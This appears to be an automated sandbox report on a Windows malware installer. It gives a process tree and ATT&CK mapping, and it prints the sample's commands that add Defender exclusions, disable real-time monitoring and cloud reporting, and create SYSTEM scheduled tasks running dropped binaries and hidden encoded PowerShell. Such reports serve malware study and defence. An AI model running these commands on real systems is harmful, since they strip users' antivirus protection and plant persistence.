PID 1488 wrote to memory of 364	1488	forfiles.exe	35
PID 1488 wrote to memory of 364	1488	forfiles.exe	35
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 1564 wrote to memory of 1716	1564	forfiles.exe	36
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 364 wrote to memory of 1932	364	cmd.exe	37
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 1716 wrote to memory of 432	1716	cmd.exe	38
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 364 wrote to memory of 1772	364	cmd.exe	39
PID 1716 wrote to memory of 1668	1716	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Users\Admin\AppData\Local\Temp\7zSF825.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Users\Admin\AppData\Local\Temp\7zSFD44.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1488
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:364
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1932
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1772
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1564
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1716
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:432
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1668
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gmixNEdmW" /SC once /ST 12:38:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1316
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gmixNEdmW"
      4⤵
      PID:1720
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gmixNEdmW"
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bFmTPRIbFUTpbCJKKp" /SC once /ST 16:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi\OxxucIAIMPDsCEk\rylyjoy.exe\" GL /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1644

C:\Windows\system32\taskeng.exe
taskeng.exe {EFC3B4CC-66F8-4B62-9326-BBE351AB7AEC} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
PID:1176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:544
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1316
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1720

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1112

C:\Windows\system32\taskeng.exe
taskeng.exe {E17FEB4F-3916-4B9A-9F1B-2527C01D2175} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:824
- C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi\OxxucIAIMPDsCEk\rylyjoy.exe
  C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi\OxxucIAIMPDsCEk\rylyjoy.exe GL /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gyYCXSAyL" /SC once /ST 01:09:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:768
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gyYCXSAyL"
    3⤵
    PID:896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gyYCXSAyL"
    3⤵
    PID:956
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1992
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1536
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gtcpOaaPQ" /SC once /ST 14:50:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gtcpOaaPQ"
    3⤵
    PID:1908
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gtcpOaaPQ"
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:748
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2032
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1420
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1684
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1580
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\DqqpsCessXFqdFpq\BXungprK\dFGRUBhqpELDKmdK.wsf"
    3⤵
    PID:1536
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\DqqpsCessXFqdFpq\BXungprK\dFGRUBhqpELDKmdK.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1488
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1320
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1300
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:328
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1720
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1096
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:692
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1108
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1624
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1648
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1172
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:316
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1332
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:860
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1964
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1460
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1672
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1628
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1172
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:316
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gFPuQnOFu" /SC once /ST 00:52:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gFPuQnOFu"
    3⤵
    PID:1032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gFPuQnOFu"
    3⤵
    PID:544
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1432
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:2032
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "IwUIDUlWwCCaleROq" /SC once /ST 04:38:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\DqqpsCessXFqdFpq\SeFoGryJSoVOCWO\IWPAqao.exe\" Tb /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "IwUIDUlWwCCaleROq"
    3⤵
    PID:2016
- C:\Windows\Temp\DqqpsCessXFqdFpq\SeFoGryJSoVOCWO\IWPAqao.exe
  C:\Windows\Temp\DqqpsCessXFqdFpq\SeFoGryJSoVOCWO\IWPAqao.exe Tb /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:1172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bFmTPRIbFUTpbCJKKp"
    3⤵
    PID:772
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:1924
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1972
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\aazYDpmAU\vsNdLZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "yQJFyOflsJsySqW" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "yQJFyOflsJsySqW2" /F /xml "C:\Program Files (x86)\aazYDpmAU\DNtVxpp.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1916

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:968

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2040

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "11981712811727175307-378365626155355415-1899472772-419321416-756631847-120736060"
1⤵
- Windows security bypass
PID:1332

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

